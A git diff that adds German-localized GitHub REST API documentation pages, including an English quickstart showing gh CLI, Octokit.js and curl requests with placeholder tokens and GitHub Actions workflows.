@@ -0,0 +1,21 @@
+---
+title: Reviewanfragen
+intro: ''
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: a36ef6608626ac9f5b1a72774e61472b16d479ba
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147060610'
+---
+## Informationen zur Reviewanfragen-API
+
+Pull-Request-Ersteller*innen, Repositorybesitzer*innen und Mitwirkende an Repositorys können ein Pull-Request-Review von allen Benutzer*innen mit Schreibzugriff auf das Repository anfragen. Die angefragten Reviewer*innen erhalten eine Benachrichtigung, dass der Review eines Pull Request angefragt wurde.
diff --git a/translations/de-DE/content/rest/pulls/reviews.md b/translations/de-DE/content/rest/pulls/reviews.md
new file mode 100644
index 0000000000..c16daff01d
--- /dev/null
+++ b/translations/de-DE/content/rest/pulls/reviews.md
@@ -0,0 +1,23 @@
+---
+title: Pull-Request-Reviews
+shortTitle: Reviews
+allowTitleToDifferFromFilename: true
+intro: ''
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: ee55b646dd58b4f91227c6d629c2e07d834b6dfd
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145109096'
+---
+## Informationen zur API für Pull Request-Reviews
+
+Bei Pull Request-Reviews handelt es sich um Gruppen von Pull Request-Reviewkommentaren zu einem Pull Request, die mit einem Status und einem optionalen Textkommentar gruppiert werden.
diff --git a/translations/de-DE/content/rest/quickstart.md b/translations/de-DE/content/rest/quickstart.md
new file mode 100644
index 0000000000..8ec1d59ec5
--- /dev/null
+++ b/translations/de-DE/content/rest/quickstart.md
@@ -0,0 +1,351 @@
+---
+title: Quickstart for GitHub REST API
+intro: 'Learn how to get started with the {% data variables.product.prodname_dotcom %} REST API.'
+allowTitleToDifferFromFilename: true
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Quickstart
+topics:
+  - API
+redirect_from:
+  - /guides/getting-started
+  - /v3/guides/getting-started
+miniTocMaxHeadingLevel: 3
+---
+
+This article describes how to quickly get started with the {% data variables.product.prodname_dotcom %} REST API using {% data variables.product.prodname_cli %}, JavaScript, or cURL. For a more detailed guide, see "[Getting started with the REST API](/rest/guides/getting-started-with-the-rest-api)."
+
+{% cli %}
+
+## Getting started using {% data variables.product.prodname_cli %}
+
+### Using {% data variables.product.prodname_cli %} in the command line
+
+{% data variables.product.prodname_cli %} is the easiest way to use the {% data variables.product.prodname_dotcom %} REST API from the command line.
+
+1. Install {% data variables.product.prodname_cli %} if you haven't installed it yet. For installation instructions, see the [{% data variables.product.prodname_cli %} repository](https://github.com/cli/cli#installation).
+1. Use the `auth login` subcommand to authenticate to {% data variables.product.prodname_cli %}. For more information, see the [{% data variables.product.prodname_cli %} `auth login` documentation](https://cli.github.com/manual/gh_auth_login).
+
+   ```shell
+   gh auth login
+   ```
+
+1. Use the `api` subcommand to make your API request. For more information, see the [{% data variables.product.prodname_cli %} `api` documentation](https://cli.github.com/manual/gh_api).
+
+   ```shell
+   gh api repos/octocat/Spoon-Knife/issues
+   ```
+
+### Using {% data variables.product.prodname_cli %} in {% data variables.product.prodname_actions %}
+
+You can also use {% data variables.product.prodname_cli %} in your {% data variables.product.prodname_actions %} workflows. For more information, see "[Using GitHub CLI in workflows](/actions/using-workflows/using-github-cli-in-workflows)."
+
+Instead of using the `gh auth login` command, pass an access token as an environment variable called `GH_TOKEN`. {% data variables.product.prodname_dotcom %} recommends that you use the built-in `GITHUB_TOKEN` instead of creating a token. If this is not possible, store your token as a secret and replace `GITHUB_TOKEN` in the example below with the name of your secret. For more information about `GITHUB_TOKEN`, see "[Automatic token authentication](/actions/security-guides/automatic-token-authentication)." For more information about secrets, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)."
+
+```yaml
+on:
+  workflow_dispatch:
+jobs:
+  use_api:
+    runs-on: ubuntu-latest
+    permissions:
+      issues: read
+    steps:
+      - env:
+          GH_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
+        run: |
+          gh api repos/octocat/Spoon-Knife/issues
+```
+
+If you are authenticating with a {% data variables.product.prodname_github_app %}, you can create an installation access token within your workflow:
+
+1. Store your {% data variables.product.prodname_github_app %}'s ID as a secret. In the following example, replace `APP_ID` with the name of the secret. You can find your app ID on the settings page for your app or through the App API. For more information, see "[Apps](/rest/apps/apps#get-an-app)." For more information about secrets, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)."
+1. Generate a private key for your app. Store the contents of the resulting file as a secret. (Store the entire contents of the file, including `-----BEGIN RSA PRIVATE KEY-----` and `-----END RSA PRIVATE KEY-----`.) In the following example, replace `APP_PEM` with the name of the secret. For more information, see "[Authenticating with {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/authenticating-with-github-apps#generating-a-private-key)."
+1. Add a step to generate a token, and use that token instead of `GITHUB_TOKEN`. Note that this token will expire after 60 minutes. For example:
+
+```yaml
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+on:
+  workflow_dispatch:
+jobs:
+  track_pr:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Generate token
+        id: generate_token
+        uses: tibdex/github-app-token@36464acb844fc53b9b8b2401da68844f6b05ebb0
+        with:
+          app_id: {% raw %}${{ secrets.APP_ID }}{% endraw %}
+          private_key: {% raw %}${{ secrets.APP_PEM }}{% endraw %}
+
+      - name: Use API
+        env:
+          GH_TOKEN: {% raw %}${{ steps.generate_token.outputs.token }}{% endraw %}
+        run: |
+          gh api repos/octocat/Spoon-Knife/issues
+```
+
+{% endcli %}
+
+{% javascript %}
+
+## Getting started using JavaScript
+
+You can use Octokit.js to interact with the {% data variables.product.prodname_dotcom %} REST API in your JavaScript scripts. For more information, see [the Octokit.js README](https://github.com/octokit/octokit.js/#readme).
+
+### Using Octokit.js
+
+1. Create an access token. For example, create a {% data variables.product.pat_generic %} or a {% data variables.product.prodname_github_app %} user-to-server access token. For more information, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)" or "[Identifying and authorizing users for GitHub Apps](/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps)."
+
+   {% warning %}
+
+   **Warning**: Treat your access token like a password.
+
+   To keep your token secure, you can store your token as a secret and run your script through {% data variables.product.prodname_actions %}. For more information, see the "[Using Octokit.js in {% data variables.product.prodname_actions %}](#using-octokitjs-in-github-actions)" section.
+
+   {%- ifversion fpt or ghec %}
+
+   You can also store your token as a {% data variables.product.prodname_codespaces %} secret and run your script in {% data variables.product.prodname_codespaces %}. For more information, see "[Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)."{% endif %}
+
+   If these options are not possible, consider using another service such as [the 1Password CLI](https://developer.1password.com/docs/cli/secret-references/) to store your token securely.
+
+   {% endwarning %}
+
+1. Install `octokit`. For example, `npm install octokit`. For other ways to install or load `octokit`, see [the Octokit.js README](https://github.com/octokit/octokit.js/#readme).
+1. Import `octokit` in your script. For example, `import { Octokit } from "octokit";`. For other ways to import `octokit`, see [the Octokit.js README](https://github.com/octokit/octokit.js/#readme).
+1. Create an instance of `Octokit` with your token. Replace `YOUR-TOKEN` with your token.
+
+   ```javascript
+   const octokit = new Octokit({
+     auth: 'YOUR-TOKEN'
+   });
+   ```
+
+1. Use `octokit.request` to execute your request. Send the HTTP method and path as the first argument. Specify any path, query, and body parameters in an object as the second argument. For example, in the following request the HTTP method is `GET`, the path is `/repos/{owner}/{repo}/issues`, and the parameters are `owner: "octocat"` and `repo: "Spoon-Knife"`.
+
+   ```javascript
+   await octokit.request("GET /repos/{owner}/{repo}/issues", {
+     owner: "octocat",
+     repo: "Spoon-Knife",
+   });
+   ```
+
+### Using Octokit.js in {% data variables.product.prodname_actions %}
+
+You can also execute your JavaScript scripts in your {% data variables.product.prodname_actions %} workflows. For more information, see "[Workflow syntax for GitHub Actions](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun)."
+
+{% data variables.product.prodname_dotcom %} recommends that you use the built-in `GITHUB_TOKEN` instead of creating a token. If this is not possible, store your token as a secret and replace `GITHUB_TOKEN` in the example below with the name of your secret. For more information about `GITHUB_TOKEN`, see "[Automatic token authentication](/actions/security-guides/automatic-token-authentication)." For more information about secrets, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)."
+
+The following example workflow:
+
+1. Checks out the repository content
+1. Sets up Node.js
+1. Installs `octokit`
+1. Stores the value of `GITHUB_TOKEN` as an environment variable called `TOKEN` and runs `.github/actions-scripts/use-the-api.mjs`, which can access that environment variable as `process.env.TOKEN`
+
+Example workflow:
+
+```yaml
+on:
+  workflow_dispatch:
+jobs:
+  use_api_via_script:
+    runs-on: ubuntu-latest
+    permissions:
+      issues: read
+    steps:
+      - name: Check out repo content
+        uses: {% data reusables.actions.action-checkout %}
+
+      - name: Setup Node
+        uses: {% data reusables.actions.action-setup-node %}
+        with:
+          node-version: '16.17.0'
+          cache: npm
+
+      - name: Install dependencies
+        run: npm install octokit
+
+      - name: Run script
+        run: |
+          node .github/actions-scripts/use-the-api.mjs
+        env:
+          TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
+```
+
+Example JavaScript script, with the file path `.github/actions-scripts/use-the-api.mjs`:
+
+```javascript
+import { Octokit } from "octokit"
+
+const octokit = new Octokit({
+  auth: process.env.TOKEN
+});
+
+try {
+  const result = await octokit.request("GET /repos/{owner}/{repo}/issues", {
+      owner: "octocat",
+      repo: "Spoon-Knife",
+    });
+
+  const titleAndAuthor = result.data.map(issue => {title: issue.title, authorID: issue.user.id})
+
+  console.log(titleAndAuthor)
+
+} catch (error) {
+  console.log(`Error! Status: ${error.status}. Message: ${error.response.data.message}`)
+}
+```
+
+If you are authenticating with a {% data variables.product.prodname_github_app %}, you can create an installation access token within your workflow:
+
+1. Store your {% data variables.product.prodname_github_app %}'s ID as a secret. In the following example, replace `APP_ID` with the name of the secret. You can find your app ID on the settings page for your app or through the App API. For more information, see "[Apps](/rest/apps/apps#get-an-app)." For more information about secrets, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)."
+1. Generate a private key for your app. Store the contents of the resulting file as a secret. (Store the entire contents of the file, including `-----BEGIN RSA PRIVATE KEY-----` and `-----END RSA PRIVATE KEY-----`.) In the following example, replace `APP_PEM` with the name of the secret. For more information, see "[Authenticating with {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/authenticating-with-github-apps#generating-a-private-key)."
+1. Add a step to generate a token, and use that token instead of `GITHUB_TOKEN`. Note that this token will expire after 60 minutes. For example:
+
+```yaml
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+on:
+  workflow_dispatch:
+jobs:
+  use_api_via_script:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Check out repo content
+        uses: {% data reusables.actions.action-checkout %}
+
+      - name: Setup Node
+        uses: {% data reusables.actions.action-setup-node %}
+        with:
+          node-version: '16.17.0'
+          cache: npm
+
+      - name: Install dependencies
+        run: npm install octokit
+
+      - name: Generate token
+        id: generate_token
+        uses: tibdex/github-app-token@36464acb844fc53b9b8b2401da68844f6b05ebb0
+        with:
+          app_id: {% raw %}${{ secrets.APP_ID }}{% endraw %}
+          private_key: {% raw %}${{ secrets.APP_PEM }}{% endraw %}
+
+      - name: Run script
+        run: |
+          node .github/actions-scripts/use-the-api.mjs
+        env:
+          TOKEN: {% raw %}${{ steps.generate_token.outputs.token }}{% endraw %}
+```
+
+{% endjavascript %}
+
+{% curl %}
+
+## Getting started using cURL
+
+### Using cURL in the command line
+
+{% note %}
+
+**Note:** If you want to make API requests from the command line, {% data variables.product.prodname_dotcom %} recommends that you use {% data variables.product.prodname_cli %}, which simplifies authentication and requests. For more information about getting started with the REST API using {% data variables.product.prodname_cli %}, see the {% data variables.product.prodname_cli %} version of this article.
+
+{% endnote %}
+
+1. Install cURL if cURL isn't already installed on your machine. To check if cURL is installed, execute `curl --version` in the command line. If the output is information about the cURL version, cURL is installed. If you get a message similar to `command not found: curl`, you need to download and install cURL. For more information, see [the cURL project download page](https://curl.se/download.html).
+1. Create an access token. For example, create a {% data variables.product.pat_generic %} or a {% data variables.product.prodname_github_app %} user-to-server access token. For more information, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)" or "[Identifying and authorizing users for GitHub Apps](/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps)."
+
+   {% warning %}
+
+   **Warning**: Treat your access token like a password.
+
+   {%- ifversion fpt or ghec %}
+
+   To keep your token secure, you can store your token as a {% data variables.product.prodname_codespaces %} secret and use the command line through {% data variables.product.prodname_codespaces %}. For more information, see "[Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)."{% endif %}
+
+   You can also use {% data variables.product.prodname_cli %} instead of cURL. {% data variables.product.prodname_cli %} will take care of authentication for you. For more information, see the {% data variables.product.prodname_cli %} version of this page.
+
+   If these options are not possible, consider using another service such as [the 1Password CLI](https://developer.1password.com/docs/cli/secret-references/) to store your token securely.
+
+   {% endwarning %}
+
+1. Use the `cURL` command to make your request. Pass your token in an `Authorization` header. Replace `YOUR-TOKEN` with your token.
+
+   ```shell
+   curl --request GET \
+   --url "https://api.github.com/repos/octocat/Spoon-Knife/issues" \
+   --header "Accept: application/vnd.github+json" \
+   --header "Authorization: Bearer YOUR-TOKEN"
+   ```
+
+   {% note %}
+
+   **Note:** {% data reusables.getting-started.bearer-vs-token %}
+
+   {% endnote %}
+
+### Using cURL in {% data variables.product.prodname_actions %}
+
+You can also use cURL in your {% data variables.product.prodname_actions %} workflows.
+
+{% data variables.product.prodname_dotcom %} recommends that you use the built-in `GITHUB_TOKEN` instead of creating a token. If this is not possible, store your token as a secret and replace `GITHUB_TOKEN` in the example below with the name of your secret. For more information about `GITHUB_TOKEN`, see "[Automatic token authentication](/actions/security-guides/automatic-token-authentication)." For more information about secrets, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)."
+
+```yaml
+on:
+  workflow_dispatch:
+jobs:
+  use_api:
+    runs-on: ubuntu-latest
+    permissions:
+      issues: read
+    steps:
+      - env:
+          GH_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
+        run: |
+          curl --request GET \
+          --url "https://api.github.com/repos/octocat/Spoon-Knife/issues" \
+          --header "Accept: application/vnd.github+json" \
+          --header "Authorization: Bearer $GH_TOKEN"
+```
+
+If you are authenticating with a {% data variables.product.prodname_github_app %}, you can create an installation access token within your workflow:
+
+1. Store your {% data variables.product.prodname_github_app %}'s ID as a secret. In the following example, replace `APP_ID` with the name of the secret. You can find your app ID on the settings page for your app or through the App API. For more information, see "[Apps](/rest/apps/apps#get-an-app)." For more information about secrets, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)."
+1. Generate a private key for your app. Store the contents of the resulting file as a secret. (Store the entire contents of the file, including `-----BEGIN RSA PRIVATE KEY-----` and `-----END RSA PRIVATE KEY-----`.) In the following example, replace `APP_PEM` with the name of the secret. For more information, see "[Authenticating with {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/authenticating-with-github-apps#generating-a-private-key)."
+1. Add a step to generate a token, and use that token instead of `GITHUB_TOKEN`. Note that this token will expire after 60 minutes. For example:
+
+```yaml
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+on:
+  workflow_dispatch:
+jobs:
+  use_api:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Generate token
+        id: generate_token
+        uses: tibdex/github-app-token@36464acb844fc53b9b8b2401da68844f6b05ebb0
+        with:
+          app_id: {% raw %}${{ secrets.APP_ID }}{% endraw %}
+          private_key: {% raw %}${{ secrets.APP_PEM }}{% endraw %}
+
+      - name: Use API
+        env:
+          GH_TOKEN: {% raw %}${{ steps.generate_token.outputs.token }}{% endraw %}
+        run: |
+          curl --request GET \
+          --url "https://api.github.com/repos/octocat/Spoon-Knife/issues" \
+          --header "Accept: application/vnd.github+json" \
+          --header "Authorization: Bearer $GH_TOKEN"
+```
+
+{% endcurl %}
+
+## Next steps
+
+For a more detailed guide, see "[Getting started with the REST API](/rest/guides/getting-started-with-the-rest-api)."
diff --git a/translations/de-DE/content/rest/rate-limit.md b/translations/de-DE/content/rest/rate-limit.md
new file mode 100644
index 0000000000..77d5243581
--- /dev/null
+++ b/translations/de-DE/content/rest/rate-limit.md
@@ -0,0 +1,39 @@
+---
+title: Rate Limit
+intro: Mit der Quotengrenzen-API kannst du den aktuellen Quotengrenzenstatus verschiedener REST-APIs überprüfen.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /rest/reference/rate-limit
+ms.openlocfilehash: 282b7e7bbb947256ccad4950b6a17d8874044d8f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147081048'
+---
+## Informationen zur Quotengrenzen-API
+
+In der Übersichtsdokumentation zur REST-API werden die [Quotengrenzregeln](/rest/overview/resources-in-the-rest-api#rate-limiting) beschrieben. Du kannst den aktuellen Status deiner Quotengrenze jederzeit über die im Folgenden angegebene API für Quotengrenzen überprüfen.
+
+### Grundlegendes zum Status der Quotengrenze
+
+Die Such-API verfügt über eine [benutzerdefinierte Quotengrenze](/rest/reference/search#rate-limit), getrennt von der Quotengrenze für den Rest der REST-API. Die GraphQL-API verfügt auch über eine [benutzerdefinierte Quotengrenze](/graphql/overview/resource-limitations#rate-limit), die von der Rest-API getrennt und anders berechnet wird als die REST-API.
+
+Aus diesen Gründen kategorisiert die Antwort der Quotengrenzen-API deine Quotengrenzen. Unter `resources` werden vier Objekte angezeigt:
+
+* Das `core`-Objekt stellt deinen Status für die Quotengrenze für alle nicht auf die Suche bezogenen Ressourcen in der REST-API bereit.
+
+* Das `search`-Objekt stellt deinen Status für die Quotengrenze für die [Such-API](/rest/reference/search) bereit.
+
+* Das `graphql`-Objekt stellt deinen Status für die Quotengrenze für die [GraphQL-API](/graphql) bereit.
+
+* Das `integration_manifest`-Objekt stellt deinen Status für die Quotengrenze für den [Codekonvertierungsendpunkt eines Manifests für GitHub-Apps](/apps/building-github-apps/creating-github-apps-from-a-manifest/#3-you-exchange-the-temporary-code-to-retrieve-the-app-configuration) dar.
+
+Weitere Informationen zu den Headern und Werten in der Antwort auf die Quotengrenze findest du unter [Ressourcen in der REST-API](/rest/overview/resources-in-the-rest-api#rate-limit-http-headers).
diff --git a/translations/de-DE/content/rest/reactions.md b/translations/de-DE/content/rest/reactions.md
new file mode 100644
index 0000000000..a1930f4f94
--- /dev/null
+++ b/translations/de-DE/content/rest/reactions.md
@@ -0,0 +1,25 @@
+---
+title: Reaktionen
+intro: 'Mit der Reaktions-API kannst du Reaktionen auf Kommentare erstellen, auflisten und löschen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /rest/reference/reactions
+ms.openlocfilehash: 6598b1f9a42c2520b3e48062ae730c3873d5e657
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147063434'
+---
+## Informationen zur Reaktions-API
+
+Du kannst Reaktionen auf Kommentare mithilfe der Reaktions-API erstellen und verwalten. Beim Erstellen einer Reaktion sind folgende Werte für den `content`-Parameter zulässig (mit dem entsprechenden Emoji zur Referenz):
+
+{% data reusables.repositories.reaction_list %}
diff --git a/translations/de-DE/content/rest/releases/assets.md b/translations/de-DE/content/rest/releases/assets.md
new file mode 100644
index 0000000000..d66f3311df
--- /dev/null
+++ b/translations/de-DE/content/rest/releases/assets.md
@@ -0,0 +1,20 @@
+---
+title: Releaseressourcen
+intro: ''
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 671ee593033fa0f4b8694a195d28f1abb0916bc7
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147067522'
+---
+
diff --git a/translations/de-DE/content/rest/releases/index.md b/translations/de-DE/content/rest/releases/index.md
new file mode 100644
index 0000000000..e41f4efa31
--- /dev/null
+++ b/translations/de-DE/content/rest/releases/index.md
@@ -0,0 +1,25 @@
+---
+title: Releases
+intro: 'Mit der Releases-API kannst du Releases und Releasesressourcen erstellen, ändern und löschen.'
+allowTitleToDifferFromFilename: true
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+children:
+  - /releases
+  - /assets
+redirect_from:
+  - /rest/reference/releases
+ms.openlocfilehash: de35d09a09d2ac1116c7b2b174eca79e0650f259
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147066578'
+---
+
diff --git a/translations/de-DE/content/rest/releases/releases.md b/translations/de-DE/content/rest/releases/releases.md
new file mode 100644
index 0000000000..108e1dcaf4
--- /dev/null
+++ b/translations/de-DE/content/rest/releases/releases.md
@@ -0,0 +1,23 @@
+---
+title: Releases
+intro: 'Mit der Releases-API kannst du Releases und Releasesressourcen erstellen, ändern und löschen. '
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: a412e84256acbf6249f7ba1a92f3f55f8c7e4b9e
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147067898'
+---
+{% note %}
+
+**Hinweis:** Die Release-API ersetzt die Downloads-API. Du kannst die Downloadanzahl und die Browser-Download-URL aus den Endpunkten in dieser API abrufen, die Releases und Releaseressourcen zurückgeben.
+
+{% endnote %}
diff --git a/translations/de-DE/content/rest/repos/autolinks.md b/translations/de-DE/content/rest/repos/autolinks.md
new file mode 100644
index 0000000000..54e657eceb
--- /dev/null
+++ b/translations/de-DE/content/rest/repos/autolinks.md
@@ -0,0 +1,25 @@
+---
+title: Autolinks für Repositorys
+allowTitleToDifferFromFilename: true
+shortTitle: Autolinks
+intro: 'Um deinen Workflow zu optimieren, kannst du über die API automatische Links zu externen Ressourcen wie JIRA-Issues und Zendesk-Tickets hinzufügen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: c35d9232ec43cf9dc19c9559de0e8411fa85e242
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108422'
+---
+## Informationen zur Autolinks-API des Repositorys
+
+Weitere Informationen findest du unter [Konfigurieren von Autolinks zum Verweisen auf externe Ressourcen](/github/administering-a-repository/configuring-autolinks-to-reference-external-resources).
+
+{% data variables.product.prodname_github_apps %} erfordern Berechtigungen für die Repositoryverwaltung mit Lese- oder Schreibzugriff, um die Autolinks-API zu verwenden.
diff --git a/translations/de-DE/content/rest/repos/contents.md b/translations/de-DE/content/rest/repos/contents.md
new file mode 100644
index 0000000000..0b534c977b
--- /dev/null
+++ b/translations/de-DE/content/rest/repos/contents.md
@@ -0,0 +1,42 @@
+---
+title: Repository-Inhalt
+allowTitleToDifferFromFilename: true
+shortTitle: Contents
+intro: 'Mit diesen API-Endpunkten kannst du Base64-codierte Inhalte in einem Repositorys erstellen, ändern und löschen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 50875021a506201a90cbac62db521604a390a586
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147060330'
+---
+## Informationen zur Repositoryinhalts-API
+
+Um das Roh-oder gerenderte HTML-Format (sofern unterstützt) anzufordern, verwende benutzerdefinierte Medientypen für Repositoryinhalte.
+
+### Benutzerdefinierte Medientypen für Repositoryinhalte
+
+[READMEs](/rest/reference/repos#get-a-repository-readme), [Dateien](/rest/reference/repos#get-repository-content) und [Symlinks](/rest/reference/repos#get-repository-content) unterstützen die folgenden benutzerdefinierten Medientypen:
+
+    application/vnd.github.VERSION.raw
+    application/vnd.github.VERSION.html
+
+Verwende den Medientyp `.raw`, um den Inhalt der Datei abzurufen.
+
+Bei Markupdateien wie Markdown oder AsciiDoc kannst du den gerenderten HTML-Code mit dem Medientyp `.html` abrufen. Markupsprachen werden mit unserer Open-Source-[Markup-Bibliothek](https://github.com/github/markup) in HTML gerendert.
+
+[Alle Objekte](/rest/reference/repos#get-repository-content) unterstützen den folgenden benutzerdefinierten Medientyp:
+
+    application/vnd.github.VERSION.object
+
+Verwende den Medientypparameter `object`, um den Inhalt unabhängig vom Inhaltstyp in einem einheitlichen Objektformat abzurufen. Anstelle eines Arrays von Objekten für ein Verzeichnis ist die Antwort beispielsweise ein Objekt mit einem `entries`-Attribut mit dem Array von Objekten.
+
+Weitere Informationen zur Verwendung von Medientypen in der API findest du [hier](/rest/overview/media-types).
diff --git a/translations/de-DE/content/rest/repos/forks.md b/translations/de-DE/content/rest/repos/forks.md
new file mode 100644
index 0000000000..64164789c3
--- /dev/null
+++ b/translations/de-DE/content/rest/repos/forks.md
@@ -0,0 +1,19 @@
+---
+title: Radgabeln
+intro: ''
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: f5ab9dd5ec8e8f5d7e303c8e0508c25dd13505e6
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147885724'
+---
+
diff --git a/translations/de-DE/content/rest/repos/index.md b/translations/de-DE/content/rest/repos/index.md
new file mode 100644
index 0000000000..0bc2438435
--- /dev/null
+++ b/translations/de-DE/content/rest/repos/index.md
@@ -0,0 +1,30 @@
+---
+title: Repositorys
+intro: 'Die Repository-API ermöglicht, den Workflow öffentlicher und privater {% data variables.product.product_name %}-Repositorys zu erstellen, zu verwalten und zu steuern.'
+allowTitleToDifferFromFilename: true
+redirect_from:
+  - /v3/repos
+  - /rest/reference/repos
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+children:
+  - /repos
+  - /autolinks
+  - /contents
+  - /forks
+  - /lfs
+  - /tags
+ms.openlocfilehash: ef76154a5e8810543381769f1df1f1d61239dd13
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147884478'
+---
+
diff --git a/translations/de-DE/content/rest/repos/lfs.md b/translations/de-DE/content/rest/repos/lfs.md
new file mode 100644
index 0000000000..0f04091b81
--- /dev/null
+++ b/translations/de-DE/content/rest/repos/lfs.md
@@ -0,0 +1,42 @@
+---
+title: Git LFS
+intro: 'Du kannst {% data variables.large_files.product_name_long %} (LFS) für ein Repository aktivieren oder deaktivieren.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: e8a08167bb966b1dd397d8cfa7b4a9e9952946ca
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109767'
+---
+## Informationen zur {% data variables.large_files.product_name_short %}-API
+
+Du kannst {% data variables.large_files.product_name_short %} verwenden, um große Dateien in einem Git-Repository zu speichern. Mit der {% data variables.large_files.product_name_short %}-API kannst du das Feature für ein einzelnes Repository aktivieren oder deaktivieren. Weitere Informationen zu {% data variables.large_files.product_name_short %} findest du unter [Informationen zu {% data variables.large_files.product_name_short %}](/repositories/working-with-files/managing-large-files/about-git-large-file-storage).
+
+Personen mit Administratorzugriff auf ein Repository können die {% data variables.large_files.product_name_short %}-API nutzen.
+
+{% ifversion fpt or ghec %}
+
